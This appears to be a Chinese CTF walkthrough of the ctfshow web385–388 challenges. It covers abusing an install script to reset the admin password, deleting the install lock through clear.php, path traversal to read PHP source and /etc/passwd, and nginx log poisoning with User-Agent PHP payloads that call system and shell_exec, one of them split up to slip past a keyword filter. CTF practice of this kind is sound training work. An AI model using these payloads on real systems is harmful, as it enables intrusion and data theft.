当前位置: 首页 > news >正文

CTFSHOW web入门 黑盒测试 web385-web388

目录

web385

web386

web387

web388


web385

和上一题的步骤一样,打开页面源代码

访问/alsckdfy

还是那个登录窗口,思路和上一题应该是不一样的

目录扫描发现了新东西

/install

访问/install

通过返回的信息能够知道,需要访问install/?install,然后重新安装

https://333ab657-fac8-418e-87bc-27bae1f759fa.challenge.ctf.show/install/?install

安装好了,管理员密码被重置为默认密码了

返回登录框,使用 admin/admin888 进行登录,

这是第一次做web383 对这个登录框进行爆破的时候得到的密码

ctfshow{b4b4f022-5b6b-4af8-b66f-ccbcdc93a6cd}

web386

还是这个路径

/alsckdfy

目录扫描下

访问 install

返回:lock.dat存在,你已经安装过了,请勿重复安装

这个 lock.dat 是安装锁文件,很多 CMS 都有

lock.dat 本质的作用是告诉系统,CMS 已经安装完成了

攻击者可以通过删除安装锁,重新安装“安装锁”,来重置后台密码,来进入后台找到 flag

访问/intstall/lock.dat,下载到了 lock.dat 这个文件

打开 lock.dat,里面是一个 OK,说明这个安装锁是安装好的

访问/clear.php

返回清理完成

通过测试,能够通过 clear.php 将 lock.dat 删除掉

clear.php?file=/var/www/html/install/lock.dat

这个网站使用的服务器是 nginx 服务器

/var/www/html/ 是 Linux web 服务器的网站根目录

再次访问/install

需要通过访问 install/?install,来重新安装 ,然后重置管理员密码为默认密码

/install/?install

默认密码是 admin/admin888

ctfshow{b98063a3-a2df-44e6-9557-82cc5d1f6c57}

第二种方法

通过目录扫描得到的路径

访问/page.php

通过对这个返回路径进行分析测试,知道了这里有路径穿越漏洞

https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/page

查看源码

知道了 page.php 的源码

https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/install/index

访问/install/index

查看源码

error_reporting(0); $dbhost ="127.0.0.1"; $dbuser = "root"; $dbpwd = "root"; $dbname = "ctfshow"; $charName = "utf-8"; $file = 'lock.dat'; if(file_exists($file)){ //判断这个路径的文件是否存在, die('lock.dat存在,你已经安装过了,请勿重复安装'); } echo '请务必在安装成功后删除本文件'; echo '<br>需要重新安装请访问install/?install,管理员密码将重置为默认密码'; if(isset($_GET['install'])){ $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $sql = "update admin_user set username='admin',password='admin888' where username='admin';"; $result = $conn->query($sql); echo '<br>安装成功,请立即删除本文件'; }

在登录框进行登录的时候会返回这个路径,如果账户密码正确,登录进去就能够看到 flag

对 /alsckdfy/check.php 路径进行目录穿越

对这个路径访问下

https://5c714d8c-da0c-4e9a-9e4e-b9bcf5f2a0ee.challenge.ctf.show/page.php?id=../../../../../../../var/www/html/alsckdfy/check

查看源码,得到 flag

$flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}';

<?php error_reporting(0); require_once "config.php"; $flag='ctfshow{98b6815a-ed6d-48d0-bd17-f5839cd57abb}'; $u=$_POST['u']; $p=$_POST['p']; if(isset($u) && isset($p)){ $conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error()))); } $conn->query("set name $charName"); $num = 1; $ret = array( "code"=>0, "msg"=>"查询失败", "count"=>$num, "data"=>array() ); if(!preg_match('/^[A-Za-z0-9]+$/i', $u)){ die('error'); } if(!preg_match('/^[A-Za-z0-9]+$/i', $p)){ die('error'); } $sql = "select id,username,password from admin_user where username = '".$u."' and password = '".$p."';"; $result = $conn->query($sql); if($row = $result->fetch_object()){ echo $flag; }else{ echo 'error'; } }else{ die('error'); } ?>

web387

题目提示说前面部分和上一题是一样的

前面部分和386一样

目录扫描一波

和上一题一样,对 /var/www/html/install/lock.dat 进行删除

发现并不行,这里做了限制,不让删除安装文件

/robots.txt 中的是/debug 路径

/debug

返回文件不存在

通过尝试,发现能够读取文件

/debug/?file=/etc/passwd

测试是否有文件包含漏洞

/debug/?file=/var/log/nginx/access.log

/var/log/nginx/access.log 是 Nginx 的访问日志文件

这一题使用的服务器是 nginx1.20.1,后端语言是 php7.3.22

这里日志都能够访问,通过 UA 头写入木马,来获取 flag

为什么通过 UA 头写入木马呢,因为 UA 头是可控的

<?=system('cat ../alsckdfy/check.php > 111.txt')?>

使用 system 函数执行,直接读取 flag 的存放文件位置,然后将读取出来的内容存放到 111.txt 中

访问/debug/111.txt

得到 flag

$flag='ctfshow{e4bb64c0-24f3-4e53-83d4-6ac58c286ae3}';

web388

目录扫描

和上一题差不多

访问

/debug/?file=/etc/passwd

返回测试结果已写入日志,这说明还是能够通过将木马写入到日志中去执行读取 flag 的

抓这个路径的包,然后通过 UA 头写入木马,放包

/debug/?file=/var/log/nginx/access.log

有过滤,上一题的木马不能够使用了

使用这个拼接绕过关键字检测的木马

User-Agent: <?php $a="she"."ll_exec";$b="cat ../alsckdfy/check.php > 111.txt";$a($b);?>

访问

/debug/111.txt

$flag='ctfshow{9c1d6e2d-e151-485f-a8d9-9942f41798da}';

http://www.cnnetsun.cn/news/2476346.html

相关文章:

  • HBase Shell 命令实战:用5个真实场景案例,掌握数据管理核心操作
  • 智能供应链是什么?终于有人把智能供应链说清楚了!
  • 通过Taotoken CLI工具一键配置多开发环境,统一团队接入标准
  • 别再纠结原生开发了!我用PagePlug(AppSmith)一天就搭了个微信小程序后台
  • 音乐格式转换终极方案:Unlock Music跨平台兼容性完全指南
  • SWAT模型气象驱动新选择:深度评测CMADS数据集(对比传统气象站数据)
  • 嵌入式AI转型实战:从传统MCU开发到端侧智能部署
  • 低成本嵌入式开发套件:如何加速产品设计周期与降低硬件门槛
  • YOLOv10优化:CVPR2026 UCMNet |FrequencyCM赋能YOLO C2f:从频域增强视角解决感受野与细节瓶颈
  • 论文降重与改写:2026 最新降AI率平台测评与推荐
  • AnyKernel3终极指南:5分钟打造通用Android内核刷机包
  • 基于STM32H750XBH6开发板的LwIP socket编程初探
  • 收藏!新手程序员必看:LangChain、LangGraph、Deep Agents 框架选型指南
  • 前端开发入门到精通:从零搭建属于自己的网页世界
  • Taotoken 用量看板与账单追溯功能带来的成本管控清晰度
  • LeetCode 堆的插入与删除题解
  • NoFences:3分钟让你的Windows桌面从杂乱到井井有条
  • 3种创意组合:探索Pixelle-Video的插件化视频生成系统
  • 如何高效使用权威SAR舰船检测数据集:SSDD完整实战指南
  • 多市场利润空间收窄之后跨境卖家如何集中团队资源
  • Gomobile踩坑实录:从‘找不到NDK’到成功生成AAR,我总结了这份避坑指南
  • 端侧AI基础设施核心环节与代表企业全景解析
  • 嵌入式工业方案实战:基于瑞萨芯片的可靠性设计、异构计算与交钥匙交付
  • 保姆级教程:在小程序里给ECharts图表加上手指缩放(附地图roam配置)
  • 揭秘OBS智能跟拍:5分钟掌握直播自动对焦革命性技巧
  • PDFMathTranslate:三步实现学术论文完美翻译的终极解决方案
  • Camera Shakify:为Blender动画注入真实相机抖动效果的终极指南
  • 5G工业网关:智慧工厂柔性产线与AI质检的通信基石
  • 告别‘Remount失败’:一篇文章搞懂Android分区验证(Verity)与OverlayFS
  • 输入输出与运算符--人机交互的伊始